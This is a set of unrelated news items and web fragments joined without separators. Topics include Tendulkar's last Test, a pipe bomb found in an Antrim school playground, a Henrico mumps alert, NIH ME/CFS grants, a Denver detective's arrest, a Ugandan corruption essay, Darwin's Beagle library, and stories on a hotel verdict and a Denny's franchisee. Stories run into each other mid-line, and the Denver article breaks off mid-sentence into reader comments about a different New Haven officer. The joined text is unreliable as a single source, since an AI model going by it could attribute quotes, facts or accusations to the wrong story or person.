Tendulkar in numbers Born: 24 April, 1973, Mumbai International debut: Nov 1989 v Pakistan Test matches: 199 He has scored 15,847 runs at an average of 53.71, hitting 51 tons and 67 half centuries. One-day internationals: 463 He has scored 18,426 runs at an average of 44.83 and a strike rate of 86.23. He has scored 49 centuries (highest score 200) and 96 fifties Figures do not include current Test
Tendulkar, the highest runscorer in international cricket, was greeted by a rapturous reception at the Wankhede Stadium when he came to the crease after West Indies off-spinner Shane Shillingford took two wickets in an over.
Supporters with cameras leaned over barricades as Tendulkar descended the pavilion steps, and Windies players formed a guard of honour on the square.
He initially showed signs of nerves, prodding at his first delivery from Shillingford before aiming an ugly slog-sweep at the same bowler to get under way with a single.
But, from there, Tendulkar showed the class and poise that have brought him 18,426 runs in 463 one-day internationals and, prior to this match, 15,847 runs in 199 Tests.
Shillingford was hit to the off-side boundary off front foot and back, with the pace of Shannon Gabriel eased through the covers for another four.
Taking most of the strike, Tendulkar remained positive, unfurling a trademark on-drive to send Windies captain Darren Sammy to the fence.
With his mother in attendance for the first time in his Test career - even she received a standing ovation when shown on the big screen inside the ground - Tendulkar negotiated Sammy's last over of the day to ensure he will resume what could be the final innings of his career on Friday.
West Indies' poor showing with the bat after losing the toss could mean Tendulkar has only one opportunity to bat.
Media playback is not supported on this device Archive: Tendulkar's maiden ton
The tourists were skittled in only 55.2 overs, with left-arm spinner Pragyan Ojha taking 5-40. Kieran Powell top-scored with 48, while Shivnarine Chanderpaul, in his 150th Test, made 25.
Tendulkar's final match caps a month-long outpouring of emotion from a cricket-mad nation of 1.2 billion people which started when he confirmed that the series against West Indies would be his last.
Such has been the interest in Tendulkar's final match that a website selling tickets crashed shortly after opening, receiving 19.7 million hits in the first hour.
Fans have staged protests against the fact that only 5,000 of the 33,000 tickets went on public sale, with the remainder of the seats being filled by politicians, celebrities, former players and corporate guests.
The area around the Wankhede Stadium has been plastered with posters and murals of the player dubbed the "Little Master".
Tendulkar's wife, Anjali, has joked that they may require a museum to house all the gifts and mementos.
Meanwhile, tributes have been flocking in from some of Tendulkar's most illustrious contemporaries.
West Indies great Brian Lara described the India star as "the Muhammad Ali and the Michael Jordan of cricket".
Lara, who scored 11,953 runs in 131 Tests, added: "Tendulkar has had the greatest cricket career of anyone who has ever played the game."
Former Australia leg-spinner Shane Warne also praised the prolific batsman.
"There will not be another Sachin Tendulkar," Warne, who took 708 Test wickets, wrote in his Daily Telegraph column. "He was the best batsman of my generation."A father has spoken of his shock after his eight-year-old son picked up a pipe bomb in a school playground in Antrim.
Brendan Shannon, 8, from St Comgall's Primary School lifted what police confirmed was a viable device and brought it into the classroom.
His father, Gerard, said he was relieved his son was safe and spoke of the need to alert children to the dangers of picking up objects.
Police have condemned those responsible for leaving the pipe bomb on Monday.
They said that, at this stage, they did not know who left the pipe bomb at St Comgall's or whether or not primary school children were being deliberately targeted in the Antrim area.
Mr Shannon said his son had promised not to pick up any object like it again.
Earlier on Monday, Brendan Shannon said he found what looked like a "golden pipe thing" in the playground at St Comgall's when he arrived for school.
"I just got off my bike and just touched it to see if it was okay," he said.
"Then I just lifted it up."
Mr Shannon said the consequences could have been very serious.
"I was very worried and very scared when I heard that my son had gone out into the playground, saw something and lifted it up. I am trying not to think of what the consequences could have been."
St Comgall's headteacher Hilary Cush said he was outraged that an explosive device should be left for children to find.
Image caption The pipe bomb was found at St Comgall's Primary School
"It's absolutely crazy. It's unbelievable that innocent children should be caught up in something like this," he said.
There was a second alert at St Joseph's Primary School in Antrim on Monday.
It followed a telephone warning to a local media outlet. Nothing was found.
Both alerts have now ended.
A search of St Joseph's at Greystone Road began at about 1030 BST. Pupils, including a nursery section, were moved to a nearby parish hall.
PSNI Chief Inspector Simon Walls, area commander for the district, has condemned those responsible for the alerts.
"I cannot express enough my disgust at the cowards involved in these alerts today.
"To target the general public is never acceptable by any means but to take away the secure feelings of innocent children and to put them at risk like this is beyond despicable.
"It is by sheer good fortune that we are not dealing with a severely injured child right now."
Education Minister Caitiona Ruane said children's lives had been put at risk.
"At the start of a new school year, when some children are attending for the first time, this has caused unnecessary fear and disruption in settings which should give a sense of safety to the children and all school staff," she said.
William McCrea, the Democratic Unionist Party MP for South Antrim, said the incident "was obscene and an utter disgrace".
He added: "It proves just how depraved some of those who want to drag Northern Ireland backwards are.
"To target a primary school and to put innocent children at risk is plumbing new depths."
SDLP South Antrim MLA Thomas Burns said: "There is obviously a group which is determined to cause mayhem in our town with these regular pipe bomb incidents, and until we know otherwise, we have to operate on the basis that they are prepared to cause murder as well."× Henrico parents warned about mumps for second time this month
HENRICO COUNTY, Va. – Hundreds of Henrico County students may have been exposed to mumps, school officials confirmed in a letter to Shady Grove Elementary School parents Tuesday.
In the letter, school officials informed parents that a student at the school was recently diagnosed with mumps.
“We wanted to inform our families as it is possible that other children were exposed,” the letter continued.
This comes just weeks after students at Godwin High School, Freeman High School and Tuckahoe Middle School were exposed to the disease.
Mumps is an acute viral disease that spreads through coughing, sneezing, or saliva.
“To help control the spread of mumps within the community, please refrain from sharing items that come in contact with saliva, such as drink bottles, food, and lip balms,” Henrico epidemiologist Laura Young said earlier this month. “Persons with mumps may develop headache, body aches, fever and swollen and tender glands in the jaw (parotitis). People who become infected with mumps may not show symptoms until 12 to 25 days after exposure, and they are typically infectious to others a few days prior to developing symptoms.”
Health officials said if a parent believes their child has symptoms of mumps, they should see their health care provider and let them know that there was a suspected cases of mumps identified recently in their child’s school.
“We recommend that all individuals review their immunization status to ensure that they are up-to-date and discuss the need for vaccination with their healthcare provider,” said Young. “Mumps can be prevented with MMR (measles-mumps-rubella) vaccine.”
If parents have any questions, school officials urge them to contact their child’s provider or the Henrico Health Department at 804-501-5216.NIH announces centers for myalgic encephalomyelitis/chronic fatigue syndrome research
Collaborative projects will advance research and knowledge about debilitating disease.
NIAID
The National Institutes of Health (NIH) will award four grants to establish a coordinated scientific research effort on myalgic encephalomyelitis/chronic fatigue syndrome (ME/CFS). The total cost of the projects for fiscal year 2017 will be over $7 million, with support from multiple NIH Institutes and Centers that are part of the Trans-NIH ME/CFS Working Group.
The grants will support the creation of a consortium made up of three Collaborative Research Centers (CRC) and a Data Management Coordinating Center (DMCC). The CRCs will each conduct independent research but will also collaborate on several projects, forming a network to help advance knowledge on ME/CFS. The data will be managed by the DMCC and will be shared among researchers within the CRCs and more broadly with the research community.
“These important grants will provide a strong foundation for expanding research in ME/CFS, and lead to knowledge about the causes and ways to treat people affected by this mysterious, heartbreaking, and debilitating disease,” said NIH Director Francis S. Collins, M.D., Ph.D.
ME/CFS, which affects more than 1 million Americans, is characterized by profound fatigue that does not improve with rest, and may include problems with thinking and memory, pain and a range of other symptoms that negatively impact everyday life. A key feature of the disease is post-exertional malaise, which is a worsening of symptoms following mental or physical activity. The disease can last for years or decades, with those most severely impacted ending up house- or bed-bound. It is unknown what causes the disease and there are no proven treatments.
“These grants will use innovative technologies and research methods to unravel this devastating disease, which we know so little about,” said Walter Koroshetz, M.D., director of NIH’s National Institute of Neurological Disorders and Stroke (NINDS) and chair of the Trans-NIH ME/CFS Working Group.
An important aspect of the CRCs is their inclusion of community engagement and involvement of the ME/CFS advocacy groups and individuals with ME/CFS in their programs.
“The researchers will be encouraged to work with the ME/CFS community to help move the field forward. Individuals with ME/CFS provide a unique perspective on the disease, and their experiences with ME/CFS will help advance research and move us closer to a cure,” said Dr. Koroshetz.
The grants will be managed by NIH’s National Institute of Allergy and Infectious Diseases and NINDS. Additional participating NIH Institutes and Centers include: the National Heart, Lung, and Blood Institute; the National Human Genome Research Institute; the National Institute on Alcohol Abuse and Alcoholism; National Institute of Arthritis and Musculoskeletal and Skin Diseases; the National Institute on Drug Abuse; the National Institute of Mental Health; and the National Center for Complementary and Integrative Health and the Office of the Director.
The grants are awarded to:
Cornell ME/CFS Collaborative Research Center
Principal Investigator: Maureen Hanson, Ph.D., Cornell University, Ithaca, New York; 1U54NS105541-01
Dr. Hanson and her colleagues will investigate the biological mechanisms underlying ME/CFS by obtaining blood samples and conducting brain scans on individuals with ME/CFS before and after they undergo an exercise test designed to bring on symptoms of post-exertional malaise. Dr. Hanson’s team will use a wide range of tools and technologies to test the role of genes, inflammation and the immune system in this disease.
Principal Investigator: Maureen Hanson, Ph.D., Cornell University, Ithaca, New York; 1U54NS105541-01 Dr. Hanson and her colleagues will investigate the biological mechanisms underlying ME/CFS by obtaining blood samples and conducting brain scans on individuals with ME/CFS before and after they undergo an exercise test designed to bring on symptoms of post-exertional malaise. Dr. Hanson’s team will use a wide range of tools and technologies to test the role of genes, inflammation and the immune system in this disease. Center for Solutions for ME/CFS
Principal Investigator: W. Ian Lipkin, M.D., Columbia University, New York City; 1U54AI138370-01
Dr. Lipkin and his team will examine an existing collection of biological samples from people with ME/CFS and healthy controls for microbial agents, such as viruses and bacteria, that may play a role in the disease. Dr. Lipkin’s group will use cutting-edge technology to conduct comprehensive genetic analyses and to identify metabolites (small molecules that have a variety of functions in cellular processes) that are present in the samples, which may help in the development of diagnostic tests for ME/CFS.
Principal Investigator: W. Ian Lipkin, M.D., Columbia University, New York City; 1U54AI138370-01 Dr. Lipkin and his team will examine an existing collection of biological samples from people with ME/CFS and healthy controls for microbial agents, such as viruses and bacteria, that may play a role in the disease. Dr. Lipkin’s group will use cutting-edge technology to conduct comprehensive genetic analyses and to identify metabolites (small molecules that have a variety of functions in cellular processes) that are present in the samples, which may help in the development of diagnostic tests for ME/CFS. Topological Mapping of Immune, Metabolomic and Clinical Phenotypes to Reveal ME/CFS Disease Mechanisms
Principal Investigator: Derya Unutmaz, M.D., The Jackson Laboratory, Farmington, Connecticut; 1U54NS105539-01
Dr. Unutmaz and his group will use novel tools to take a detailed look at how the immune system, the microbiome (our body’s complete collection of microbes including bacteria and viruses) and metabolism (the chemical reactions that produce energy for the body) interact in ME/CFS. A greater understanding of those interactions may help researchers identify causes of the disease and lead to the development of therapies.
Principal Investigator: Derya Unutmaz, M.D., The Jackson Laboratory, Farmington, Connecticut; 1U54NS105539-01 Dr. Unutmaz and his group will use novel tools to take a detailed look at how the immune system, the microbiome (our body’s complete collection of microbes including bacteria and viruses) and metabolism (the chemical reactions that produce energy for the body) interact in ME/CFS. A greater understanding of those interactions may help researchers identify causes of the disease and lead to the development of therapies. Data Management and Coordinating Center (DMCC) for the ME/CFS Collaborative Research Centers
Principal Investigator: Rick L. Williams, Ph.D., Research Triangle Institute, Research Triangle, North Carolina; 1U24NS105535-01
Dr. Williams and his team will lead the DMCC that will bring together research data from the CRCs into one database. Dr. Williams’ group will promote collaboration among the centers and the broader research community. They will provide state-of-the-art data processing systems and analytic instruments, as well as overseeing efforts to standardize data that is collected by the researchers.
The NINDS is the nation’s leading funder of research on the brain and nervous system. The mission of NINDS is to seek fundamental knowledge about the brain and nervous system and to use that knowledge to reduce the burden of neurological disease.
About the National Institutes of Health (NIH): NIH, the nation's medical research agency, includes 27 Institutes and Centers and is a component of the U.S. Department of Health and Human Services. NIH is the primary federal agency conducting and supporting basic, clinical, and translational medical research, and is investigating the causes, treatments, and cures for both common and rare diseases. For more information about NIH and its programs, visit www.nih.gov.
NIH…Turning Discovery Into Health®A Denver police detective told Thornton officers investigating a complaint of domestic violence that the noise they heard coming from his house was the sound of bubble wrap popping.
However, Thornton police found six gunshot holes in the ceiling of Denver detective Daniel Diaz Deleon’s home, spent bullets on the floor and shell casings in a hallway, according to an arrest affidavit released Tuesday at the Adams County Courthouse.
Deleon, 42, was arrested late Saturday night on nine charges, including child abuse, domestic violence and prohibited use of weapons. He has been released from the Adams County jail on a $5,000 bond.
Deleon is on paid leave from the Denver Police Department, pending the Adams County investigation, said Christine Downs, a department spokeswoman.
A protective order has been issued against Deleon that bars him from contact with his wife and one of his children and prohibits him from using a gun or having ammunition, according to the protection order.
Thornton police were dispatched at 11:53 p.m. Saturday on a domestic violence in progress call to Deleon’s home on the 900 block of Thorncreek Court.
The first officer to arrive parked four houses away and began walking toward Deleon’s house. He was standing in the yard of a next-door house awaiting backup when he heard six gunshots, the affidavit said.
A dispatcher was able to call Deleon and persuade him to go outside, the affidavit said.
However, Deleon ignored multiple commands to put his hands up, the affidavit said. Instead, Deleon told the officer he had not done anything wrong and then swore as he told the officer, “Come and get me!” according to the affidavit.
Once Deleon was under arrest, officers found Deleon’s two children huddled and crying in a bathroom, the affidavit said.
Deleon’s wife told officers he came home around 10:45 p.m. and was noticeably intoxicated. He wanted his wife to go out and party with him and friends, but she did not want to go, the affidavit said.
Deleon became angry and pushed his wife onto the bed and held her down, the affidavit said.
The commotion woke one of the children, who called 911 after Deleon’s wife asked her to do so.
“She stated this made Daniel very mad, at which time he began yelling obscenities at (name redacted) and berating her for calling the police on her own father,” the affidavit said.
Deleon then let his wife up, and she gathered the children where the three hid in a downstairs bathroom. They could hear Deleon banging things. He then went to the garage and came back inside. That’s when the family heard gunshots, the affidavit said.
No one was injured.
Deleon is |
. You reported he got hurt diving in a car window trying to grab a gun from a person. HOW ABOUT AN ARTICLE ON THAT! How many people would do that? And he does that and puts himself in harms way, for what? For a raise? For praise from the Major? For the citizens to say good job? Hell NO! He does it because thats what he is paid to do! He’s a great cop and I wish we had more of him! GREAT JOB O’CONNELL, keep up the good work!!!!! To all you other NH residents who dont like cops like this, get your head out of your backside. Its a violent town and people, old, young, middle age, challenge our officers everyday just to make a name for themselves.
posted by: low rider on January 9, 2011 8:20pm So what this cop has been accused of brutality 9 times? You can call a cat a dog over and over, but it doesnt mean its true. I hope the cops in our Elm City get even tougher on crime, within the law of coarse. God bless the NHPD! Thank you for you service.
posted by: Morris Cove Mom on January 10, 2011 10:25am I can’t figure out which side to take in this story. It’s not that I don’t believe those saying they were victimized by Office O’Connell. It’s just that I grew up the granddaughter of an officer, so I heard a lot of crazy stories about people resisting arrest and attacking him. It seemed more common than not. But what I also heard was that he became increasingly more violent as time passed, due to the violence he encountered. What happens to some officers is that they start seeing everyone as someone who will attack them at any moment, so they attack them first. It’s kind of like PTSD. But that being said, it doesn’t make this behavior, this violence, tolerable or right. He should be removed for a psychiatric evaluation, and counseling, at the minimum. It’s cases like these that sour people on cooperating with the police, and see this one officer as a bad apple in a bunch of good ones. The NHPD needs to do better by the people of New Haven, and by its own officers.
posted by: Truth Avenger on January 10, 2011 10:32am To Kamb: you said,“What about Officer O’Connell’s numerous write-ups and awards he received?”
Officer O’Connell’s awards and the deeds that lead up to them, did not leave a trail of broken bodies and violated spirits. This article is about specific charges and is not a referendum on the entire police department as some of you abuse apologists suggest. To criticize the actions of one officer is not to indict all officers. Get it straight!
posted by: Huh? on January 10, 2011 10:37am Someone explain to me why some people think it’s okay to resist arrest? And then they are shocked and surprised if they get hurt?
posted by: Police officer on January 10, 2011 2:35pm Many officers who effectively do their job are subject to Internal Affairs complaints. Some are justified and many others are not. If you judge this officers based solely on this one sided article, you are not being fair. If you knew Ofc. O’Connell you would be thankful he was out there protecting you. I know him and know this to be a fact. No officer is looking to do what the protesters are saying. Why would they? It makes no sense what so ever. I suggest you get the facts first before you cast judgement....
posted by: really? on January 10, 2011 3:35pm Mr. Garzon should take care of his drinking and driving habit/ pending case from 2000 before he starts preaching. It also says on the judicial website his re-arrest was ordered. He should probably get that warrant taken care of. Just saying….. Re-Arrest ordered: 8/29/2001 14-239(a) DRIVE WRONG WAY-ONE WAY STREET
14-215 ILL OPN MV UNDER SUSPENSION
14-227a ILL OPN MV UNDER INFL ALC/DRUG
posted by: kamb on January 10, 2011 4:03pm To TRUTH AVENGER
You missed the point. Obviously the article took O’Connells information and only reported things in his file that sounded bad. If one is gou g to report they should.report the goodamd extraordinary to to be fair. That’s called a story with ALL the facts. Anything can be spun to sound negative. Don’t be so quick to judge someone who protects you. Check and reportand FOI the people making these claims. See there extensive law breaking backgrond, domestic abuse, and drug dealing.
posted by: Truth Avenger on January 10, 2011 6:04pm Kamb: The bottom line is that Officer O’Connell is just that-an officer. He is not the judge and Jury- and he is certainly not the “executioner.” There are laws pertaining to unreasonable, excessive or abusive force and if the officer has repeatedly engaged in such alleged behavior, he is certainly subject to the media’s scrutiny. It is not the media’s job to present O’Connell’s defense or serve as his character witness-“All the facts"as you say. That is the job of O’Connell’s attorney. O’Connell’s good deeds do not mitigate these charges or the facts of the case. Are we to just wink because in some areas of his job the officer was exemplary? No, my friend, you have missed the point. The officer will have his day in court. In the meantime it is the media’s job to investigate and address issues related to the charges. That’s the system and New Haven Independent is applauded for doing a great job. I rest my case.
posted by: noah on January 10, 2011 6:39pm hi Mrs. Melinda it’s me your former Ico students and i think that the guy was wrong for stabbing the policeman while handcuffing him. Mrs. Melinda i read only your artical and i think there great keep up the good work
posted by: boss on January 10, 2011 8:21pm you know it makes sick because we have ppl like this protecting our city. There is other ppl out there who is willing to be good officers and cant get a chance because of their record etc
posted by: huh? huh? on January 10, 2011 10:29pm Huh? As NHPD regularly arrest and beat up citizens for doing completely legal things like videotaping cops beating up other people I’d be surprised if anyone didn’t resist arrest. I also have a very nasty feeling that most of next year’s $50,000,000 plus budget shortfall will be due to payouts on civil rights cases.
posted by: Awesome on January 11, 2011 2:23am This officer has risked life and limb for this city. Look into his record and see how many guns and drugs he has taken off the street. 9 complaints in a 12 year career? That is not excessive. If a criminal is going for your gun, that individual MUST be put down by all means necessary. Deadly force is appropriate. If a citizen RESISTS arrest, he or she MUST be brought under control! Pushing, shoving, kicking, and punching an officer is against the law, period. I expect this officer wants to go home at the end of his shift to his family the same way he started it, healthy and alive. This article was written for sensationalism. If it were a truly neutral news piece, i should hope that the writer would list all of this officers accomidations, gun and narcotics arrests.
posted by: Truth Avenger on January 11, 2011 10:15am To Awesome: 9 complaints is not excessive? A similar M.O. seems to prevail in many of these cases (gotta love the head-butt). There should be a zero tolerance for the actions that lead to the complaints. As I stated above, an officer’s good deeds do exonerate him for the bad deeds he commits. Your argument is like a wife beater telling the judge that he is good 23 out of 24 hours- and only beats his wife occasionally. Look at the famed Narc squad detective Billy White. He took a lot of drugs off the street too. He was a good cop until he got caught breaking the law(stealing). I believe he is still in jail. It is weak and lame justification to try and shirk off the gravity of the actions this officer has repeatedly engaged in. Beating civilians to hospitalization is simply not acceptable-even if it is by an otherwise saintly cop.
posted by: Truth Avenger on January 11, 2011 12:04pm Correction to my text above: “doN’T exonerate him”
posted by: kamb on January 11, 2011 7:10pm To truth avenger,
Good thing your not in charge of the legal system! You want to have a zero tolerance for officers who get complaints against them!? A complaint does not mean your guilty! Would you throw a man I’m jail who is simply accused of wrong doing? You need to think before you post. Obviously in your world everyone is guilty till proven innocent.
posted by: Pro Police on January 12, 2011 11:11am Do as your told and comply with the police. When you raise your hand to an officer,you deserve what’s coming….. Officers aren’t there to be abused or to get injured.
posted by: bjfair on January 12, 2011 12:33pm @Kamb, For real??people are thrown in jail ever single day simply because they were accused of wrongdoing and many actually get convicted and spend decades in prison before DNA exonerates them, many accused by officers like O’Connell who lacks scruples and supported by an unethical union boss.NHPD has had their share of crooked cops including one Billy White who will be released from prison soon and receive a $94,000 pension to live off. so please. Awards? Officer Elliot Rosa who shot and killed an elderly man at close range within less than 4 days on the job recently received an award. Should he be proud?...
posted by: Truth Avenger on January 12, 2011 12:44pm Nice Try Kamb. Read my previous post. The Officer will have his day in court- which is more than we can say for the victims of his on-the-spot justice in deciding just how much they get assaulted- as he makes his arrests. The “zero tolerance” policy I proposed is for officers who have been proven to have engaged in excessive force- aka Police brutality. Why give an officer up to 9 opportunities to continue hurting people who have not had THEIR day in court. If you read the specifics of the charges, the abuses do not fall within the scope of protocols police are required to follow.
...
posted by: kamb on January 12, 2011 3:14pm To BJFair,
You need to BeReal. Check the statistics. It is less than 1% of people who are wrongfully convicted and released from jail due to DNA. Not a bad system and the best one we have....You have an agenda to slam the police any chance you get. And to Truth Avenger,
...Its easy to complain and make excuses for not obeying the law. Our cops in New Haven are the best.
posted by: sepblues on January 12, 2011 10:30pm KAMB: You said erroneously “...Its easy to complain and make excuses for not obeying the law.” I did not make excuses for not obeying the law anywhere. I am advocating for complete compliance with the law- it is just your failure to understand and recognize that compliance of the law also extends to those enforcing the laws- the Police themselves, not just to suspects.
posted by: bjfair on January 13, 2011 12:09am Kamb, US justice a great system? Really? Would you like to be among that 1% who spent decades in prison wrongfully accused and convicted? You say I “have an agenda” to slam the police”. Take notice of the numerous posts.They didn’t all come from me. You seem to have an agenda to slam me instead of disproving anything I said. It is obvious OConnell is an animal and head butting is his mo. Billy White and his followers were also innocent until they got caught up in their own game… decades of crime. My agenda is to rid the department of thugs with badges and random drug testing for those who seem to display abusive and violent behavior. I know for a fact that there are a lot of officers embarrassed by the bad apples among them but the brotherhood and “no snitch” rule won’t allow them to speak out.Unfotunately “rotten apples” tarnish the entire department and those wonderful offficers deserving of respect are unduly disgraced.At Forest Mall, errand boys and girls for Kampala's wealthy families dash back and forth. The Mall is part of a string of new developments providing office space for banks, coffee shops and expensive boutiques. A cashmere sweater at one of these upscale hangouts costs 1.2 million Ugandan shillings – rather more than the starting salary of a university graduate at one of the banks here. There are signs of affluence everywhere.
And signs of trouble too.
The acquired tastes of Uganda's better-off classes contrast badly with its downtrodden masses. Recently, the government here has put its faith (and invited others to do the same) in newly discovered oil and gas reserves in the western part of the country. It is these future funds that are the promissory notes used by politicians, led by President Yoweri Museveni, to suggest a brighter future is nigh. An ambitious Vision 2040 was recently published by the National Planning Authority with promises of investment in highways, education institutions and new energy projects. On its glossy cover was a picture of a rocket, perhaps delivering the first Ugandan to the moon. The wet dreams of the government and the political class around oil resources are part of the disappointing story that underpins the rising tide of inequality in Uganda.
In Uganda, there is not one single public works project that has ever been finished on time or within budget. This is because a large part of the money paying for the country's cashmere exhibitionists and hedonists is 'borrowed' from the taxpayer. Corruption around public works is a billion dollar industry. According to reviews of government business, between 500bn and 950bn shillings is lost in procurement-related malfeasance. Transparency International (an NGO that monitors and publicizes corporate and political corruption in international development) announced last month that Uganda was the most corrupt country in eastern Africa. This illegal market is one cornered by politicians and civil servants.
Unsurprisingly, there is a debate on what this all means for public policy – especially since new wealth is possible with natural resources like oil. But it's more than that. The underbelly of corruption in Uganda is not simply that it is tied to the politics of patronage, but rather that it is dependent on it. Corruption is not simply the great procrastinator of effective public policy (to which we will get shortly), nor is it simply simply abetted by the opportunities presented by official bureaucracy. The uptick of Ugandan corruption reflects the fears of the political class over the coming political transition, which heralds an uncertain period that may include change in the patronage networks. It is consequently not driven just by greed, but also by fear.
This is the real context of discussions over whether Uganda's oil will be a blessing or a curse. By my calculations, if political transition from Museveni is placed on a timeline, it coincides almost exactly with Uganda's transition to oil producer. Those within the oil sector predict the first commercial production will happen around 2017 or even 2020. By then Uganda will have a new President.
But one must concede that this view might be simplistic if placed within the context of the negative side effects of the bloated patronage and corrupt system. This month it emerged that Uganda's most ambitious energy project – the Karuma hydropower dam – had been caught up in the spider's web of powerful special interests. The tendering process may go into drawn out litigation as the selected executors of the project, Chinese companies, are being muscled out by other firms. According to the energy sector, Uganda needs to add at least 50 Megawatts every year to avoid debilitating load-shedding which recently caused street protests. Consequently, it is expected that in 2014 serious power shortages will emerge with potential political headaches just shy of another election. The Karuma story is a very Ugandan one.
Public works procured through dense official rules generally experience extreme delays as companies invest in politically connected middlemen to gain front row status. Bribes are paid. One insider says various interests dropped a premium of close to 2 million dollars on the Karuma process. Other projects, like the procurement of a National Identity Card, have similarly run aground. Investor confidence today in the oil and gas sector is ebbing due to similar reasons. Uganda discovered oil in 2006 and expected production in 2009, but timelines have been moved forward because of official red tape.
Corruption allegations over the main oil industry deal, the Tullow-Uganda farm-down to Chinese and French firms, are being 'investigated' by Parliament. Meanwhile, Development Licenses for promising wells have been pushed forward. Only two licenses in Buliisa district are on the verge of approval, while the Ugandan government seeks to install an oil refinery ahead of any further deals. The refinery project preparations managed by a Canadian firm is complete and should be presented to government in a few weeks. However, given the drudgery of procurement, one can expect that with a project of that scale (its cost is even bigger than the Karuma one), completion will be years away, as government works through a complex resettlement of villagers in the area and negotiates multiple contracts with the oil companies.
Nearby Kenya is fast-tracking its own oil program, and most industry watchers expect that the Kenyans will start production ahead of Uganda. According to government officials, one reason for Uganda's snail's pace is the obsession that the first gains from oil production will come in the form of a few hundred million in taxes and fees. One can only imagine what will happen as the circumference widens with new projects. Investors are likely to focus on Kenya and Tanzania, which while equally corrupt, have a better record of turning around public projects and already have domestic infrastructure for evacuating oil – including ports, pipelines and refineries.
An enlightened discussion on the cost of Uganda's graft addiction is now needed. This is not a conversation about more laws or policies, it is a political conversation about the future of Uganda's entitled classes and the elite bargain they need to make. As seen from the energy sector, there is a political price to pay for the continual procrastination surrounding public works. As political transition stumbles forward, crises will eventually bring the poor violently face to face with the eating classes.
• Angelo Izama is a Ugandan journalist, writer and founder of the human security thinktank Fanaka Kwawote, based in KampalaCharles Darwin's five-year journey to and from the Galapagos Islands ended in 1836. While that was over two decades before the publication of On the Origin of Species, he credited his time on board the Beagle as a formative experience for his theory of evolution. That extended trip wasn't only spent studying local wildlife, especially during lengthy voyages at sea to and from home—Darwin also devoured a library of more than 400 volumes of text.
While many of those books were referenced in his later research, they were not preserved as a collection once the Beagle returned to England, leaving a gap in our understanding about the books and studies that kept Darwin's mind occupied during such an historic era. Now, thanks to the painstaking efforts of a two-year Beagle project funded by the government of Singapore, that complete on-ship library has been transcribed and posted at Darwin Online, the world's largest repository of Darwin-related texts and writings.
The library, which was stored in the same cabin as Darwin's bed and desk during his journey, totaled out at 195,000 pages by the time researchers at the National University of Singapore assembled the full collection (and these weren't exactly picture books, with only 5,000 corresponding illustrations). The complete list is quite astounding, made up of atlases, history books, geology studies, and even a giant supply of literature. Darwin also enjoyed a few books in French, Spanish, and German, along with a book in Latin about species and a Greek edition of the New Testament.
Historians and fans can read and perform text searches of the fully transcribed library. But if you're pressed for time, we strongly encourage you to at least skim through the collection of gorgeous illustrations.There are many reasons to oppose the TransPacific Partnership, Transatlantic Trade and Investment Partnership, and the Trade in Services Agreement. This page provides outreach resources and materials for reaching out to different communities and organizations. All of the materials on this page are specifically geared towards the November 14-18 National Mobilization in DC to Stop the TPP, TTIP, and TiSA. For more tools and resources see our tools for education page (hint: if you are going to make your own issue flyer this is a good place to collect info!). If you see some key outreach resource missing from this page, make it yourself and send it to send it to [email protected]. If you can’t make it let us know and we will try to do it ourselves.
General Outreach:
These handouts can be passed out side by side with other outreach materials or on their own. The two sided will save some paper and the one sided is good for posting on walls! If you do outreach online, you can adapt our sample email blast to your groups!
Call to Action: TPPTTIPTiSACalltoAction
Single-sided Half-sheet Flyer/Schedule: Schedule handout
Two Sided Half-sheet Flyer: PDF Version or Word Version.
Food and Farmers:
These resources are good for passing out to anyone who cares about food. They can be used to reach out to farmers, at farmers markets, at grocery stores, to people who work on food justice, and to many others!
Letter from hundreds of farmers to Congress to Oppose TPP: 2015_04_13_NoToFastTrack_FarmLetter
Handout for small farmers (good for farmers markets): TPPFoodSecurity Flyer
Handout for food justice (food safety, GMOs, farmer impacts)
More info on Page 2 and Page 22 of this analysis
Climate and Environment:
2 sided half sheet on Climate justice: PDF Version and Word VersionSanta Monica's Hotel Shangri-La and its owner discriminated against members of a Jewish organization two years ago when staff and security guards ordered the group to halt a poolside event, a jury determined Wednesday.
The hotel was ordered to pay the group more than $1 million in statutory damages, with punitive damages yet to be determined.
Members of the Friends of the Israel Defense Forces had gathered at the Art Deco hotel on the afternoon of July 11, 2010, and, shortly after their party got underway, were told to remove their literature and banners, get out of the pool and hot tub, and stop handing out T-shirts, according to court documents and testimony.
The employees said they were following the orders of hotel owner Tehmina Adaya, a Muslim woman of Pakistani descent.
During the trial, which began July 23 in Santa Monia Superior Court, the jury heard deposition testimony of a former employee, Nathan Codrey, who said Adaya repeatedly used profanity as she insisted that the event stop.Denny's chief executive John Miller privately reached out to Metz to express his "disappointment" with the Florida franchisee's controversial statements about Obamacare, which sparked a wave of backlash for the national restaurant chain over the past few days. Metz released a statement Monday night expressing "regret" over his statements. [...] Metz, whose RREMC Restaurants owns more than 30 Denny's locations, said in a statement, "We regret that the statements we made may have been interpreted as representative of the Denny’s brand or of other franchisees, which they are not. Our stores do not have a 5 percent surcharge. Despite recent media coverage, RREMC Restaurants is committed to exploring viable and effective ways to deal with the changing economic climate, including the implementation of The Affordable Care Act. We have always been and will continue to be 100 percent dedicated to our employees and customers and will work tirelessly to find solutions that are in their best interests. It is our intention is to fully comply with the law."
Denny's corporate management and many Denny's franchise owners are not happy with John Metz, the owner of 40 Denny's restaurants who said he'd be adding a 5 percent surcharge to meals at his restaurants to pay for employee health insurance requirements under Obamacare. The CEO of Denny's has shut Metz up but good: Much of that statement is, of course, obviously false. But the fact that Metz has flipped from insisting that he'd make workers and customers alike pay costs it's unlikely he'd even face for health coverage (remember, Metz also said he'd cut workers' hours so they didn't qualify for employer-provided insurance under Obamacare, as well as adding the surcharge for the health care they weren't getting) to disavowing his previous statements so unequivocally is a measure of how bad he was for the Denny's brand.
Other franchise owners are rightly pissed:
After Metz's original comments went viral, Abdo Mouannes said sales and traffic dropped "overnight" at his seven Denny's locations in Florida. Angry callers immediately jammed the phones at his restaurants. "The manager said it was so frustrating, she wanted to unplug the phone," Mouannes told HuffPost. "People didn't like what they heard and were saying they wouldn't support Denny's, but we have nothing to do with that decision. I am not a fan of the idea. We are opposing the 5 percent [surcharge] -- it's not even a consideration for us."
In short, if you have a hankering for Denny's but don't want to support Mr. Surcharge, find out if the Denny's you would be going to is owned by RREMC; if it's not in Florida, Georgia or Virginia, it's definitely not, and there are plenty of non-Metz Denny's in those states. Not that it's likely that any Denny's franchise is what you'd call a good, living-wage employer.
